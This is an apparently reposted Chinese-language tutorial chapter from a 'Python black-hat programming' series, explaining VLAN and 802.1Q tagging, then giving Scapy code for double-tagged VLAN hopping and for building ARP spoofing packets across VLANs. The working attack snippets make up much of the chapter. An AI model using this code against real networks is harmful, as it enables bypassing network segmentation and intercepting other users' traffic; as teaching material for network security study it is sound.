Python黑帽編程 3.4 跨越VLAN


Python黑帽編程 3.4 跨域VLAN

VLAN(Virtual Local Area Network),是基於以太網交互技術構建的虛擬網絡,既可以將同一物理網絡划分成多個VALN,也可以跨越物理網絡障礙,將不同子網中的用戶划到同一個VLAN中。圖2是一個VLAN划分的例子。

2

 

實現VLAN的方式有很多種,基於交換設備的VLAN划分,一般有兩種:

l  基於交換機的端口划分

l  基於IEEE 802.1q協議,擴展以太網幀格式

基於第二層的VLAN技術,有個Trunking的概念,Trunking是用來在不同的交換機之間進行連接,以保證在跨越多個交換機上建立的同一個VLAN的成員能夠相互通訊。其中交換機之間互聯用的端口就稱為Trunk端口。除了80.2.1q之外,思科有自己的Trunk協議叫ISL

3

3802.1q的數據包,和普通的以太網幀並沒有本質的區別,只是增加一個了VLAN Tag。紅色部分的VLAN Identifier標識了一個數據包屬於哪個VLAN,從而保證了數據廣播的范圍不會跨越VLAN

現在做簡單的思考,想要跨越VLAN通信,是不是只要修改數據包中的標識符就可以了呢?

 

3.4.1 VLAN Hopping

基於上面的分析,我們考慮一個簡單的場景:跨VLANping,從Vlan1的一個主機發送一個ping請求到Vlan2中的一個主機。

在具體編碼前,我們還是要先解決VLAN數據包構造的問題,在Scapy中我們使用Dot1Q類來構造圖3中的Tag部分。如圖4

4

下面我們可以編寫一個跨VLANping請求了。

#!/usr/bin/python    

  

from scapy.all import *   

  

packet = Ether(dst="c0:d3:de:ad:be:ef") / \

                Dot1Q(vlan=1) / \

                Dot1Q(vlan=2) / \

                IP(dst="192.168.13.3") / \

                ICMP()    

  

sendp(packet)

上面的代碼我們指定了目標主機的MACIP地址,添加了兩個VLAN標識,第一個是發送數據的主機所在的VLAN,第二個是目標主機所在的VLAN。交換機會移除第一個標識,讀到第二個標識的時候,會轉發該數據包到目標主機。

3.4.2  VLANARP欺騙

3.13.23.3節我們都在討論ARP欺騙的問題,由於VLAN限制了廣播域,我們之前的代碼是無法跨VLAN進行ARP欺騙的。不過要解決這個問題也很簡單,只需在我們之前構造的ARP欺騙數據中插入VLAN標識即可。下面這段代碼是我們在3.1節構造ARP請求數據包的代碼。

  def build_req():

        if options.target is None:

            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

        elif options.target:

            target_mac = getmacbyip(options.target)

            if target_mac is None:

                print "[-] Error: Could not resolve targets MAC address"

                sys.exit(1)

            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

 

        return pkt

在構造數據包的部分,我們插入VLAN標識:

   pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

這樣就可以實現跨VLANARP欺騙了。

 

3.4.3 小結

本節主要講了如何構造欺騙VLAN的數據包,達到跨VLAN數據通信和ARP欺騙的目的。需要注意的是,本文的方法主要針對802.1Q協議,對以端口進行物理隔離的的VLAN沒有效果。

 

下一節,我們繼續VLAN攻擊《3.5 DTP攻擊》。

3.5節《DTP攻擊》已經在微信訂閱號搶先發布,心急的同學進入訂閱號(二維碼在下方),從菜單專欄”—>”Python黑帽編程進入即可。

 

查看完整系列教程,請關注我的微信訂閱號(xuanhun521,下方二維碼),回復“python”。問題討論請加qq群:Hacking 1群):303242737   Hacking 2群):147098303

 

玄魂工作室-精彩不斷

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM